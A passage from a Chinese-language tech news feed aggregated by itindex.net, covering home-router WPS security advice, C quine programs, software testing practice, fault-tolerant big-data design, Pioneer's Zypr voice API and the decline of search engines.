   &lt;sup&gt;8&lt;/sup&gt; 如果你需要的话，你可以让这个模型变得更加全面。比如，这个模型没有区分新进入的数据和已经存在需要被查询的数据(并且在每个迭代中都会增加)。这个变量必然会影响到你的长期扩展需求，记住它是非常重要的。对于那些知识对于这些workflow的性能有获得一个直觉的目的来说，这不是必须的。   &lt;br /&gt;
&lt;/small&gt; &lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Tech Work Hadoop Math</category>
      <guid isPermaLink="true">https://itindex.net/detail/35482-hadoop-%E6%95%B0%E5%AD%A6</guid>
      <pubDate>Thu, 26 Jan 2012 20:53:30 CST</pubDate>
    </item>
    <item>
      <title>家居 Router 安全性瓦解，隨時被 Hack [ F-Secure 小貼士 ]</title>
      <link>https://itindex.net/detail/35442-router-%E5%AE%89%E5%85%A8-hack</link>
      <description>&lt;p&gt;  &lt;a href="http://unwire.hk/2012/01/24/wifi-security/tech-secure/attachment/wifi-2/" rel="attachment wp-att-80363"&gt;   &lt;a href="http://unwire.hk/2012/01/24/wifi-security/tech-secure/" title="&amp;#38321;&amp;#35712;: &amp;#23478;&amp;#23621; Router &amp;#23433;&amp;#20840;&amp;#24615;&amp;#29926;&amp;#35299;&amp;#65292;&amp;#38568;&amp;#26178;&amp;#34987; Hack [ F-Secure &amp;#23567;&amp;#36028;&amp;#22763; ]"&gt;    &lt;img alt="" height="385" src="http://unwire.hk/wp-content/uploads/2012/01/wifi-580x385.jpg" title="wifi" width="580"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;記得早幾年逛街時，偶爾也能成功從一些完全沒有經過加密的私人 Wi-Fi 熱點上偷線上網，現在街上已甚少完全沒有加密的私人 Wi-Fi 熱點。這個現象，代表大眾對 Wi-Fi 保安的認知性已經較過去大幅提高。不過，如果認為在 Wi-Fi 網絡上套用加密設定後，就能有效杜絕黑客入侵的話，這樣絕對是對 Wi-Fi 保安認知上的謬誤。最近被公認最安全的 Router 加密方式，已經遭瓦解，人人也有機會「中招」。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;煮個杯麵 Hack 入 Router &lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;現時不少用戶同時擁有 Tablet 平板電腦、手提電腦等，多數用戶家中會安裝具 Wi-Fi 功能的路由器，即我們常叫的 「Router」。一般家居使用 Router 都附帶有保安功能，亦即讓我們設定一組 password 做保護。如何才用得安全，主要取決於用戶使用那種加密方式，幾年前的款式使用 WEP 加密，3 分鐘就給破解了，形同虛設。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;用 WPA 2 至安心&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;故此，現時新型 Router 都會使用較安全的 WPA2 制式，是目前較安全的 Wi-Fi 網絡加密方法之一，很多 Router 出廠已預設使用這方式。所有通訊均會使用保安性較強的 AES（Advanced Encryption Standard）方式進行加密，加密訊息較難破解。面對保安性甚高的 WPA2，黑客幾乎只能「靠撞」，以不斷測試密碼的方式破解，故此對於 WPA2 網絡來說，密碼長度愈長，加上混合英文字、數字和符號的話，保安性相對來說就愈高。&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;就手功能成 Hack 入缺口&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;不過，WPA2 就算多安全，都在近期被發現了嚴重保安漏洞，問題是自為方便而設的 Wi-Fi Protected Setup（WPS）。每個支援 WPS 功能的網絡裝置均設有 PIN 號碼，連接時只要在客戶端輸入伺服器端的 PIN 號碼，或是在伺服器端輸入客戶端的 PIN 號碼，客戶端即可完成網絡設定並加入 Wi-Fi 網絡。剛過去不久的 2011 年 12 月，保安Stefan Viehbock 發現輕易取得 PIN 號碼的方式，並在除夕夜發放個人開發的 PIN 號碼破解工具，大約只要花費兩小時，即可取得路由器的 PIN 號碼，成功連接經 WPA2 加密的 Wi-Fi 網絡。本來牢不可破的保安方式，就因為方便設定的功能而遭瓦解，人人也有機會被盜取自己電腦資料而不自知。&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://unwire.hk/2012/01/24/wifi-security/tech-secure/attachment/a-8/" rel="attachment wp-att-80364"&gt;   &lt;img alt="" height="435" src="http://unwire.hk/wp-content/uploads/2012/01/a-580x435.jpg" title="a" width="580"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;em&gt;TP-Link 路由器的 QSS 即等同 WPS 功能，只是稱呼上的差異。除此之外，各生產商也有開發出類似 WPS 的功能，以 Buffalo 為例，大多數路由器也內建功能類似 WPS 的 AOSS。&lt;/em&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://unwire.hk/2012/01/24/wifi-security/tech-secure/attachment/b-6/" rel="attachment wp-att-80365"&gt;   &lt;img alt="" height="386" src="http://unwire.hk/wp-content/uploads/2012/01/b1-580x386.jpg" title="b" width="580"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;em&gt;除透過輸入 PIN 號碼外，只要在客戶端安裝 Wi-Fi 介面的操控軟件後，同時在軟件介面和路由器端按下 WPS  按鍵，客戶端即可連接至 Wi-Fi網絡。&lt;/em&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;Wi-Fi 保安小 Tips：&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;根據香港專業保安協會 2011 年發放的香港 Wi-Fi War Driving 調查發現，香港沿電車路的商住 Wi-Fi 用戶多達 16,462 個無線收發點。而當中依然使用 WEP 加密方式的多達 3 成以上，而沒有使用加密的達 13.64%。F-Secure的大中華區總監李力恆指大家應加強 Wi-Fi 安全性，以免 Wi-Fi 網絡被入侵：&lt;/p&gt;
 &lt;blockquote&gt;  &lt;p&gt;1.棄用 WEP 加密，改用 WPA2 加密方式。&lt;/p&gt;
  &lt;p&gt;2.為 WPA2 設定 PSK 密碼時，盡量選用長度較長的密碼，並以英文字、數字和符號組成密碼。&lt;/p&gt;
  &lt;p&gt;3.關閉路由器上的 WPS 或類似功能。&lt;/p&gt;
  &lt;p&gt;4.停止公開路由器的 SSID。&lt;/p&gt;&lt;/blockquote&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://unwire.hk/2012/01/24/wifi-security/tech-secure/attachment/c-5/" rel="attachment wp-att-80367"&gt;   &lt;img alt="" height="386" src="http://unwire.hk/wp-content/uploads/2012/01/c-580x386.png" title="c" width="580"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;em&gt;只有停用 WPS 功能，才能堵塞保安漏洞。基於各品牌的路由器設定方法略有差別，如不懂設定的話，可參考生產商官頁內所提供的指引。&lt;/em&gt;&lt;/p&gt;
 &lt;p&gt;為進一步提高 Wi-Fi 網絡安全性，李力恆建議大家進入路由器設定頁內，將 WPS 或類似功能關閉。如路由器設定頁上沒有關閉 WPS 功能的選項，可嘗試進入生產商的網頁，看看有沒有為路由器釋出更新。WPS 功能雖然方便，但在安全前題下，為了一時之便，百密一疏，招致損失，實在不甚明智。&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://unwire.hk/2012/01/24/wifi-security/tech-secure/attachment/d-4/" rel="attachment wp-att-80366"&gt;   &lt;img alt="" height="326" src="http://unwire.hk/wp-content/uploads/2012/01/d1-580x326.png" title="d" width="580"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;  &lt;em&gt;Stefan Viehboeck 上傳了一段影片，示範如何使用個人開發的工具，破解 TP-Link TL-R1043ND 路由器的 PIN 號碼。網址：   &lt;a href="http://vimeo.com/34402962" target="_blank"&gt;http://vimeo.com/34402962&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
 &lt;p&gt; &lt;/p&gt;
 &lt;p&gt;  &lt;strong&gt;One more thing: 網上行用戶免費用 F-Secure PC Guard 防毒軟件&lt;/strong&gt;&lt;/p&gt;
 &lt;p&gt;網上行 30M / 100M 寬頻客戶，或者是指定光纖計劃或Netvigator Everywhere 客戶，原來您在合約期內，已經獲贈了 F-Secure PC Guard 電腦防禦服務，並可於多達4部電腦使用，無須再付錢購買防毒軟件！&lt;/p&gt;
 &lt;p&gt;你只需根據以下指示確認你已獲贈序號便可。做個簡單步驟，總比要付費購買其他防毒軟件、又或者使用免費但不包含防間諜軟件功能的防毒軟件優勝和窩心得多！&lt;/p&gt;
 &lt;p&gt;  &lt;br /&gt;
1.      &lt;a href="http://pcguard.netvigator.com/" target="_blank"&gt;按此&lt;/a&gt;進入 PC Guard 電腦防禦網站 (  &lt;a href="http://pcguard.netvigator.com/" target="_blank"&gt;http://pcguard.netvigator.com&lt;/a&gt;)&lt;/p&gt;
 &lt;p&gt;2.    輸入網上行登入名稱及密碼，然後登入。(如你忘記密碼，請致電 1833833，通過簡單的步驟與客戶服務員聯絡)  &lt;br /&gt;
  &lt;a href="http://unwire.hk/2011/12/01/public-wifi-not-safe/tech-secure/attachment/image001-45/" rel="attachment wp-att-73681"&gt;   &lt;img alt="" height="258" src="http://img.unwire.hk/wp-content/uploads/2011/12/image001.png" title="image001" width="457"&gt;&lt;/img&gt;&lt;/a&gt;  &lt;br /&gt;
3.    當你看到右上角，顯示 ”你現有的網上保安增值服務計劃包括：4 個電腦防禦軟件序號“ 即代表你已獲贈使用本服務。(如沒有的話代表用戶的寬頻計劃沒有包括在內，請致電 1833833 查詢，或直接申請並以月費形式訂購。部分網上行計劃的客戶可能只有 1 個電腦防禦軟件序號)&lt;/p&gt;
 &lt;p&gt;確認已獲贈使用本服務後，請按右面的 “立即安裝” 繼續&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://unwire.hk/?attachment_id=72922" rel="attachment wp-att-72922"&gt;   &lt;img alt="" height="220" src="http://test.unwire.hk/wp-content/uploads/2011/11/image002.png" title="image002" width="380"&gt;&lt;/img&gt;&lt;/a&gt;  &lt;br /&gt;
4.   按 “下載網上行電腦防禦軟件“。  &lt;br /&gt;
你可先行抄下或複製軟件序號，你將於安裝時需輸入該序號。  &lt;br /&gt;
  &lt;a href="http://unwire.hk/2011/11/23/galaxy-nexus-volume-problem-fix/mobile-phone/attachment/facebook-8/" rel="attachment wp-att-72923"&gt;   &lt;img alt="" height="362" src="http://test.unwire.hk/wp-content/uploads/2011/11/image003.png" title="image003" width="469"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;5.    根據指示安裝軟件，安裝時請輸入從步驟 4 得到的軟件序號。&lt;/p&gt;
 &lt;p&gt;6.    搞掂！&lt;/p&gt;
 &lt;p&gt;國際性中立機構 AV-Comparatives，經過一年內七次測試二十多個全球知名的防毒軟件，最後把 F-Secure Internet Security 2011 評為全球最佳防毒軟件。你可按此了解測試及有關獎項的詳情。F-Secure PC Guard 電腦防禦的功能和效能與 F-Secure Internet Security 2011 相同，介面及圖示則專為網上行客戶而設計。所以，指定的網上行客戶現在無需再為擔心防間諜軟件、續購問題等而煩惱。有關閣下的網上行戶口、月費計劃合約、 PC Guard電腦防禦服務等之詳情，可致電網上行客戶服務熱線 1833833。&lt;/p&gt;
 &lt;p&gt;  &lt;a href="http://unwire.hk/2011/12/01/public-wifi-not-safe/tech-secure/attachment/crossover2-3/" rel="attachment wp-att-73663"&gt;   &lt;img alt="" height="240" src="http://img.unwire.hk/wp-content/uploads/2011/12/crossover22.png" title="crossover2" width="580"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;div&gt;&lt;/div&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Tech 實 Q</category>
      <guid isPermaLink="true">https://itindex.net/detail/35442-router-%E5%AE%89%E5%85%A8-hack</guid>
      <pubDate>Tue, 24 Jan 2012 11:40:39 CST</pubDate>
    </item>
    <item>
      <title>能打印出自己的代码</title>
      <link>https://itindex.net/detail/34294-%E6%89%93%E5%8D%B0-%E4%BB%A3%E7%A0%81</link>
      <description>&lt;p&gt;任务：写一段C语言程序，打印出自己整个代码，不能差一分一毫。&lt;/p&gt;
&lt;p&gt;这个任务在计算机编程中有个术语叫做：Quine，维基百科上有专门的条目介绍。&lt;/p&gt;
&lt;p&gt;&lt;a title="http://en.wikipedia.org/wiki/Quine_%28computing%29" href="http://en.wikipedia.org/wiki/Quine_%28computing%29"&gt;http://en.wikipedia.org/wiki/Quine_%28computing%29&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;quine代码好像没有太大作用，但是我们可以将其想象成一种可以自我繁殖的生物，每次运行就产生一个同样的实体，然后一个个这样繁殖下去，哇塞，这就是恐怖片了！&lt;/p&gt;
&lt;p&gt;搜索了一下，基于C语言（使用VC2010编译必须设置language为C才可以）主要有以下几种比较简洁的实现：&lt;/p&gt;
&lt;p&gt;&lt;b&gt;main(a){a=&amp;quot;main(a){a=%c%s%c;printf(a,34,a,34);}&amp;quot;;printf(a,34,a,34);}&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;这算是第一种模式，关键在于%c%s%c这个打印格式，然后输入参数中多半有34或者0×22（也就是双引号）或者引用到字符串数组中双引号的位置。&lt;/p&gt;
&lt;p&gt;另外一种是通过宏定义实现的：&lt;/p&gt;
&lt;p&gt;&lt;b&gt;#define T(a) main(){printf(a,#a);}     &lt;br&gt;T(&amp;quot;#define T(a) main(){printf(a,#a);}\nT(%s)&amp;quot;)&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;宏定义的实现消除了对双引号的使用，格式更为灵活一些，不需要是abab这种模式了。&lt;/p&gt;
&lt;p&gt;关于quine一个非常详细的论文，介绍了深层理论、如何写quine代码等等，可以看看。&lt;/p&gt;
&lt;p&gt;&lt;a title="http://www.madore.org/~david/computers/quine.html" href="http://www.madore.org/~david/computers/quine.html"&gt;http://www.madore.org/~david/computers/quine.html&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;另外可以参考：&lt;/p&gt;
&lt;p&gt;&lt;a title="http://www.c4swimmers.esmartguy.com/selfcodeprint.htm" href="http://www.c4swimmers.esmartguy.com/selfcodeprint.htm"&gt;http://www.c4swimmers.esmartguy.com/selfcodeprint.htm&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a title="http://www.c2.com/cgi/wiki?QuineProgram" href="http://www.c2.com/cgi/wiki?QuineProgram"&gt;http://www.c2.com/cgi/wiki?QuineProgram&lt;/a&gt;&lt;/p&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>tech c++</category>
      <guid isPermaLink="true">https://itindex.net/detail/34294-%E6%89%93%E5%8D%B0-%E4%BB%A3%E7%A0%81</guid>
      <pubDate>Mon, 27 Sep 2010 13:03:12 CST</pubDate>
    </item>
    <item>
      <title>如何开发高质量软件？及软件测试观点</title>
      <link>https://itindex.net/detail/35110-%E5%BC%80%E5%8F%91-%E8%B4%A8%E9%87%8F-%E8%BD%AF%E4%BB%B6</link>
      <description>&lt;p&gt;也许是因为我经常在twitter上鼓吹“代码质量来自code review和单元测试”，老赵的这篇文字   &lt;a href="http://blog.zhaojie.me/2012/01/a-case-requirement-to-practice-unit-testing-or-tdd.html"&gt;http://blog.zhaojie.me/2012/01/a-case-requirement-to-practice-unit-testing-or-tdd.html&lt;/a&gt; 也at我一下，抱歉的是最近欠债太多，正在着手完成答应侯伯薇的那篇关于appengine的文字。&lt;/p&gt;
 &lt;p&gt;趁着兴头和最近的一些工作简单谈谈我的软件测试观点。&lt;/p&gt;
 &lt;p&gt;上周五小组对前一阵的一个项目做了整体的代码review，然后对单元测试代码也简单review了一下，大概二十几个测试用例完全通过，mstest中一条条绿杠杠让人很开心。&lt;/p&gt;
 &lt;p&gt;今天英语加技术学习，看了这篇   &lt;a href="http://net.tutsplus.com/tutorials/ruby/the-intro-to-rails-screencast-i-wish-i-had/"&gt;http://net.tutsplus.com/tutorials/ruby/the-intro-to-rails-screencast-i-wish-i-had/&lt;/a&gt; 其中正好讲解了如何使用TDD开发rails程序，酷毙了，其中guard，rspec，capybara这些Ruby的好玩意让我等DotNet程序员羡慕不已。&lt;/p&gt;
 &lt;p&gt;如何进行高质量软件开发？是我这大半年一直在思考和研究的问题。对于我们大部分项目的流程，简单总结起来就是，前期需求review，设计review，风险评估，开发中期review，代码结束review，维护阶段。&lt;/p&gt;
 &lt;p&gt;前期review主要是保证项目不要过早的投入编码，设计上不够成熟或者没有考虑的很清晰。我发现不少人是以编码代替设计，或者说还没有想好怎么设计，代码就号称写完百分之八十了，很无语。前期review以主力程序员担当设计和主要技术攻关，并且反复确认设计中不清晰的地方。在前期设计阶段也会对任务进行分派，其中有程序实现，单元测试实现，手动测试实现，代码review等不同角色。理论上说单元测试应该由程序实现者完成，但是由于项目特点决定，我们对于某些项目的单元测试是有另外的程序员实现，稍大一些的项目（或者说story）就需要有三个人熟悉设计和代码实现，大致是一到两个实现者，一到两个代码review人员，这样有些人担心的“对项目不熟悉代码不熟悉，怎么进行code review？“的问题就不存在了，而且也很好的保证了万一有人请假有事，其他人也可以很快完成任务。&lt;/p&gt;
 &lt;p&gt;开发中期review，主要是对整体思路再次检查一遍，另外确保项目整体质量是OK的，上个月就在中期review的时候，果断叫停某个质量很低的项目，调入一个主力程序员重新设计，虽然浪费了一些时间，但是代码质量比前一个版本要好很多。&lt;/p&gt;
 &lt;p&gt;代码结束review，是整个小组对项目实现进行逐行的分析解读，貌似这样会比较浪费时间。但是我们现在团队初建，很多技术甚至是常识都需要反复强调，这种小组review很有必要，也是很好的学习过程。&lt;/p&gt;
 &lt;p&gt;再着重谈谈单元测试。通过比较NUnit和MSTest后选择MSTest作为测试框架，另外也会选择集成测试或者是接口测试等不同测试级别，主要是看项目需要，并不拘泥于非要单元测试。现在的问题是单元测试本身设计的还不够，基本上只考虑”正常、异常、上临界、下临界、空值、复杂值“这些情况，没法做到很好的代码覆盖率，希望这个在以后能慢慢提高。MSTest的使用很简单，基本上跟Nunit没啥区别，好处是可以直接集成在VS2010高级版中，另外也可以通过mstest命令行调用，持续集成也很容易。&lt;/p&gt;
 &lt;p&gt;我们基本上会在项目设计阶段就对测试用例同时进行设计考虑，然后会留出大约百分之三十到四十的时间给单元测试或者自动测试。这个比例根据项目重要程度或者复杂程度也会相应地调整。&lt;/p&gt;
 &lt;p&gt;另外一个很关键的问题是”如何测试GUI？”对于asp.net mvc，我们基本上只会自动测试controller，对于view部分，是准备使用自动的browser测试框架来做，现在还是以手动测试为主；对于wpf程序，主要是测试viewmodel部分，但是现在也主要以手动测试为主。对于需求倾向于前端的应用，基本上不会考虑单元测试。但是为了很好地保证质量，我们会把关键的需求点作为测试用例，然后有人专门做手动测试。也开发了一个自动记录回放的小软件，但是效果一般，基本没用。&lt;/p&gt;
 &lt;p&gt;团队初建，我个人经验不足，所以很多也是在摸索调整，希望以后能有更完整高效的开发流程可以分享给各位。&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/35110-%E5%BC%80%E5%8F%91-%E8%B4%A8%E9%87%8F-%E8%BD%AF%E4%BB%B6</guid>
      <pubDate>Mon, 09 Jan 2012 20:41:02 CST</pubDate>
    </item>
    <item>
      <title>程序开发中的“人类容错性”——老兵不死</title>
      <link>https://itindex.net/detail/36627-%E7%A8%8B%E5%BA%8F-%E5%BC%80%E5%8F%91-%E4%BA%BA%E7%B1%BB</link>
      <description>&lt;p&gt;  &lt;a href="http://www.xuwenhao.com/wp-content/uploads/2012/03/true-meaning-of-no-fear.jpg"&gt;   &lt;img alt="" height="378" src="http://www.xuwenhao.com/wp-content/uploads/2012/03/true-meaning-of-no-fear.jpg" title="Old Soldier Never Die, They Just Fade Away" width="567"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;
 &lt;p&gt;周末得空，把前一阵买的MEAP版本的Big Data已经出了的两张给翻完了，觉得有点不划算，主要是内容之前在Nathan Marz的博客，以及Twitter发布出来的各类Slides里都已经看过了（话说Twitter去年年头上说Rainbird要开源到现在也是坑爹地没个影）。但是有一个新词儿还是让我觉得“心有戚戚焉”，把最近在Team里数据处理架构做的各种迁移工作的精髓给说出来了，就是这个Human Fault-Tolerance。&lt;/p&gt;
 &lt;p&gt;在这个人人都热衷于叫唤Big Data，讨论CAP理论的时候，Nathan同学一针见血地指出了一点，其实CAP也好，Cassandra的Dynamo模型也好，HBase的Big Table模型也好，看似非常酷非常好用，解决或者部分解决了各种一致性和可用性问题，但是其实对于Big Data处理的架构的最关键的一点，在于对于各种人类错误的容错性。&lt;/p&gt;
 &lt;p&gt;其实即使在没有海量数据需要处理的时候，各个程序也要考虑各种人类容错性。最简单的例子就在设计数据库的时候，对于删除操作大家都喜欢用个标记字段来标记删除，而不是真把记录删掉。类似的，在各种实时数据处理的事务里，除了普通的各种check和特殊情况考虑之外，通常有经验的程序员会做两件事情，一个是做日志，记录所有实时输入的日志，而是在整个处理的逻辑外面捕获所有的Exception，然后对Exception也会记录日志。做这些事情的原因是有这样一个假设，人会犯错，程序员会写出Bug。即使对程序做了充分的测试，但是当程序进入真实环境运行的时候，仍然会有你想不到的意外情况发生。当意外发生的时候，这些日志，记录能够帮助你把数据恢复到一个正常的状态下。记得在我工作的第一个年头里，就曾经花过一整天，将由于一个Bug引发的数据错误通过人肉SQL恢复过来。&lt;/p&gt;
 &lt;p&gt;当进入Big Data时代的时候，光光依靠简单的日志记录和人工恢复，已经不能够解决这些问题了。一天如果有个几条数据在几千条数据里面出错，也许你能够手工恢复过来；但是如果当一天的数据有几亿条，聚合后生成的数据记录也有几千条的时候，恐怕你就不能使用记录错误日志，然后人肉恢复的方式来解决问题了。而需要依靠在系统实现的架构层面来解决这些问题，Twitter推荐的实现方式就是让事实数据immutable，所以所有的数据都会记录，要看的数据是基于事实数据，计算出来的视图，非常简单粗暴，但是有效的方式。&lt;/p&gt;
 &lt;p&gt;话说回来，基本上，能不能写出Human Fault-Tolerance可以看做是一个程序员是否有充足的工业界工作经验的一条标准，这个不是依靠聪明和天赋能够解决的问题，而是完全依靠血泪教训得来的，从这个角度讲，老兵不死。虽然IT特别是互联网行业常常充斥着“30岁要转行，因为加班加不动了”，但是我向来是以为，有经验的工程师的价值始终被低估了。即使是不是Super Star的老工程师，也许光光写新功能写算法，未必比新人强出多少，但是这些血泪教训带来的经验，只要能够躲过一次问题，带来的价值也许就是一个工程师一两个月的工作量了（当然，无论如何记得，10年工作经验和1年工作经验重复10次的差别）。当然，更好地是团队能够拥有天才程序员，比你年轻比你聪明还比你身体好，比如Nathan Marz同学……&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Idea Life Tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/36627-%E7%A8%8B%E5%BA%8F-%E5%BC%80%E5%8F%91-%E4%BA%BA%E7%B1%BB</guid>
      <pubDate>Mon, 19 Mar 2012 21:38:24 CST</pubDate>
    </item>
    <item>
      <title>Zypr将Siri带给每一个人</title>
      <link>https://itindex.net/detail/33895-zypr-siri-%E4%B8%AA%E4%BA%BA</link>
      <description>先锋（Pioneer）宣布了提供语音控制的在线免费服务平台Zypr，让用户可以通过语音访问在线服务如地图、导航、社交媒体、日历和天气等。利用Zypr APT，开发者可以让用户从智能手机、桌面或汽车内直接访问这些在线服务。 苹果的Siri是一个封闭式服务，开发者无法将其嵌入进自己的应用，或者是让Siri支持他们的应用程序。Zypr便是设计完成这些任务。先锋公司希望它的Zypr能登陆范围广泛的设备。它的服务和API都是免费使用，该公司希望从付费搜索、广告、优惠券和订阅服务中获取收入，并与开发者分享收入。该公司还发布了一个开源的Java客户端帮助开发者。&lt;img width="1" height="1" src="http://solidot.org.feedsportal.com/c/33236/f/556826/s/19e80f5b/mf.gif" border="0"&gt;&lt;div&gt;&lt;table border="0"&gt;&lt;tr&gt;&lt;td valign="middle"&gt;&lt;a href="http://res.feedsportal.com/viral/sendemail2.html?title=Zypr%E5%B0%86Siri%E5%B8%A6%E7%BB%99%E6%AF%8F%E4%B8%80%E4%B8%AA%E4%BA%BA&amp;amp;link=http%3A%2F%2Finternet.solidot.org%2Farticle.pl%3Fsid%3D11%2F11%2F08%2F0335218%26amp%3Bfrom%3Drss"&gt;&lt;img src="http://res3.feedsportal.com/images/emailthis2.gif" border="0"&gt;&lt;/a&gt;&lt;/td&gt;&lt;td valign="middle"&gt;&lt;a href="http://res.feedsportal.com/viral/bookmark.cfm?title=Zypr%E5%B0%86Siri%E5%B8%A6%E7%BB%99%E6%AF%8F%E4%B8%80%E4%B8%AA%E4%BA%BA&amp;amp;link=http%3A%2F%2Finternet.solidot.org%2Farticle.pl%3Fsid%3D11%2F11%2F08%2F0335218%26amp%3Bfrom%3Drss"&gt;&lt;img src="http://res3.feedsportal.com/images/bookmark.gif" border="0"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/div&gt;&lt;br&gt;&lt;br&gt;&lt;a href="http://da.feedsportal.com/r/118101075729/u/49/f/556826/c/33236/s/19e80f5b/a2.htm"&gt;&lt;img src="http://da.feedsportal.com/r/118101075729/u/49/f/556826/c/33236/s/19e80f5b/a2.img" border="0"&gt;&lt;/a&gt;&lt;div&gt;
&lt;a href="http://feeds.feedburner.com/~ff/solidot?a=S8M-pKG6hEc:Wwa1gwXv-Js:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/solidot?d=yIl2AUoC8zA" border="0"&gt;&lt;/a&gt; &lt;a href="http://feeds.feedburner.com/~ff/solidot?a=S8M-pKG6hEc:Wwa1gwXv-Js:7Q72WNTAKBA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/solidot?d=7Q72WNTAKBA" border="0"&gt;&lt;/a&gt;
&lt;/div&gt;&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>tech</category>
      <guid isPermaLink="true">https://itindex.net/detail/33895-zypr-siri-%E4%B8%AA%E4%BA%BA</guid>
      <pubDate>Tue, 08 Nov 2011 11:32:00 CST</pubDate>
    </item>
    <item>
      <title>搜索引擎的时代已经是过去式了</title>
      <link>https://itindex.net/detail/36551-%E6%90%9C%E7%B4%A2%E5%BC%95%E6%93%8E-%E6%97%B6%E4%BB%A3-%E8%BF%87%E5%8E%BB%E5%BC%8F</link>
      <description>&lt;p&gt;看到这个新闻《  &lt;a href="http://www.36kr.com/p/91018.html"&gt;谷歌搜索将进行有史以来的最大调整：结合语义搜索技术，页面顶端直接显示问题答案&lt;/a&gt;》&lt;/p&gt;

 &lt;p&gt;  &lt;img alt="" src="http://blog.est.im/wp-content/uploads/2012/03/google-semantic-search-11.png"&gt;&lt;/img&gt;&lt;/p&gt;

 &lt;p&gt;感叹搜索引擎已经完全成为过去时了。&lt;/p&gt;

 &lt;p&gt;这个改变意味着什么？意味着，搜索引擎失去了避风港资格，而以后逐步地，必须为自己的“答案”直接负责了。而不同的人、不同的国家地区，对同一问题的回答的要求，是不同的，你可以在不同时间不同地点让不同的人满意，但是你很难让所有地点所有时间让所有人满意。&lt;/p&gt;

 &lt;p&gt;不满意意味着什么？被封。&lt;/p&gt;

 &lt;p&gt;如果每个人看到的搜索结果都不一样，那么搜索就失去了公平性、可比性和排名的意义。长此以往，搜索引擎就不再是客观的信息检索工具，而是被主观操控的谎言机器。&lt;/p&gt;

 &lt;p&gt;机器产生的答案能勉强解决一部分问题，而且还仅仅是（不怎么赚钱）一部分而已。搜索引擎的颓势也不是从这一天开始的。搜索引擎崛起就在于.COM泡沫破灭后的Internet初期，大量的个人或组织机构独立网站多，而且分散，但是单个网站信息比较集中，有大量原始素材可供批量检索。&lt;/p&gt;

 &lt;p&gt;但是现在独立网站内容基本都是spam和可有可无、无关紧要的东西了。内容的产生早已转移到信息流和社会化网站里面去了。而这些网站往往比较封闭，稍微好一点的都需要账号登入才能互动，由最终用户看到的HTML页面展示的二手信息可用价值大打折扣。有实力的网站原生数据挖掘早已被开发利用了，根本轮不到第三方搜索引擎来吃透多层信息了。&lt;/p&gt;

 &lt;p&gt;加上移动互联网的崛起，信息的uplink接口基本被几家大的4层或者7层公司垄断死。“公网”的存在意义基本是岌岌可危了。公网的搜索引擎的作用，也就沦落为网站自身搜索技术不完善的补充了。&lt;/p&gt;

 &lt;p&gt;就我个人现在而言，搜索引擎早已不是信息搜索工具，而是信息概览工具，看看自己覆盖面有没有漏掉的地方。其实Google出的行业特定搜索结果早已是烂得不行了。被搜索引擎踏平的互联网山头又开始竖立起来了。这种opt-in的信息世界会有一种什么样的未来呢？&lt;/p&gt;
&lt;div&gt; &lt;a href="https://itindex.net/"  title="IT 资讯"&gt;&lt;img src="https://itindex.net/images/iconWarning.gif" title="IT 资讯" border="0"/&gt; &lt;/a&gt;</description>
      <category>Tech Thoughts Google search engine</category>
